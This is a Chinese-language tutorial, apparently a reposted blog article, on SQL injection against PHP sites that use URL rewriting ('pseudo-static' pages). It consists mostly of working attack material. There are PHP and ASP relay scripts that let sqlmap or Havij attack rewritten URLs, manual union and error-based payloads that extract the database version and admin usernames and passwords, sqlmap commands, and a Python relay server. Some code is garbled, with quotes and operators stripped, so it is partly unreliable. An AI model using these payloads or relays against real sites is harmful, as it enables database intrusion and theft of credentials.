本文實例講述了PHP針對偽靜態的注入。分享給大家供大家參考,具體如下:
一:中轉注入法
1.通過http://www.xxx.com/news.php?id=1做了偽靜態之后就成這樣了
http://www.xxx.com/news.php/id/1.html
2.測試步驟:
中轉注入的php代碼:inject.php
?phpset_time_limit(0);$id=$_GET[ id $id=str_replace(” “,”%20″,$id);$id=str_replace(“=”,”%3D”,$id);//$url = http://www.xxx.com/news.php/id/$id.html $url = http://www.xxx.com/news.php/id/$id.html //echo $url;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);curl_close($ch);print_r($output);?
3.本地環境搭建PHP,然后訪問http://127.0.0.1/inject.php?id=1
通過sqlmap或者havj可以跑注入漏洞。
附錄ASP中轉代碼:
%JmdcwName=request( id )JmStr=JmdcwNameJmStr=URLEncoding(JmStr)JMUrl= http://192.168.235.7:8808/ad/blog/ //實際上要請求的網址JMUrl=JMUrl JmStr .html //拼接urlresponse.write JMUrl JmStr //我這里故意輸出url來看 JmRef= http://127.0.0.1/6kbbs/bank.asp JmCok= JmCok=replace(JmCok,chr(32), %20 ) JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢字符串,cookie,referer字段Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim HttpSet Http = Server.CreateObject( msxml2.serverXMLHTTP )With Http.Open GET ,PostUrl,False.Send ()PostData = .ResponseBodyEnd WithSet Http = NothingPostData =bytes2BSTR(PostData)End FunctionFunction bytes2BSTR(vIn) //處理返回的信息Dim strReturnDim I, ThisCharCode, NextCharCodestrReturn = For I = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn, I, 1))If ThisCharCode H80 ThenstrReturn = strReturn Chr(ThisCharCode)NextCharCode = AscB(MidB(vIn, I + 1, 1))strReturn = strReturn Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode))I = I + 1End Ifbytes2BSTR = strReturnEnd FunctionFunction URLEncoding(vstrin) //發包前對參數的url編碼一下strReturn= Dim i vstrin=replace(vstrin, % , %25 ) 增加轉換搜索字符, vstrin=Replace(vstrin,chr(32), %20 ) 轉換空格,如果網站過濾了空格,嘗試用/**/來代替%20 vstrin=Replace(vstrin,chr(43), %2B ) JMDCW增加轉換+字符vstrin=Replace(vstrin,chr(32), /**/ ) 在此增加要過濾的代碼 //這里很關鍵,方便啊,把空格自動換成/**/,后面會說到的For i=1 To Len(vstrin)ThisChr=Mid(vstrin,i,1)if Abs(Asc(ThisChr)) HFF ThenstrReturn=strReturn ThisChrInnerCode=Asc(ThisChr)If InnerCode 0 ThenInnerCode=InnerCode + H10000End IfHight1=(InnerCode And HFF00) / HFFLow1=InnerCode And HFFstrReturn=strReturn % Hex(Hight1) % Hex(Low1)End ifURLEncoding=strReturnEnd Function%
二、手工注入法
1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html
2.測試注入:
http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo .html
http://www.xxx.com/play/Diablo /**/and
/**/1= 1 /*.html
http://www.xxx.com/play/Diablo
/**/and
/**/1= 2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯
3.看頁面是否存在差異,相同則不存在,不同存在注入。
4.聯合查詢:
http://www.xxx.com/play/diablo and 1=2 union select 1,2… frominformation_schema.columns where 1= 1.html
http://www.xxx.com/page/html/?56 /**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
手工注入法(二)
http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410 union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where 1 = 1.html
注:
偽靜態的注入和URL的普通GET注入不太相同
。普通url的get注入的%20,%23,+等都可以用;但是偽靜態不行,會被直接傳遞到到url中,所以用/**/這個注釋符號表示空格。
三、SQLmap方法
在sqlmap中偽靜態哪兒存在注入點就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”
四、python腳本方法
代碼:
from BaseHTTPServer import *import urllib2class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find( id= )+3:] proxy_support = urllib2.ProxyHandler({ http : http://127.0.0.1:8087 }) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url= http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/ try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html)server = HTTPServer(( , 8000), MyHTTPHandler)server.serve_forever()
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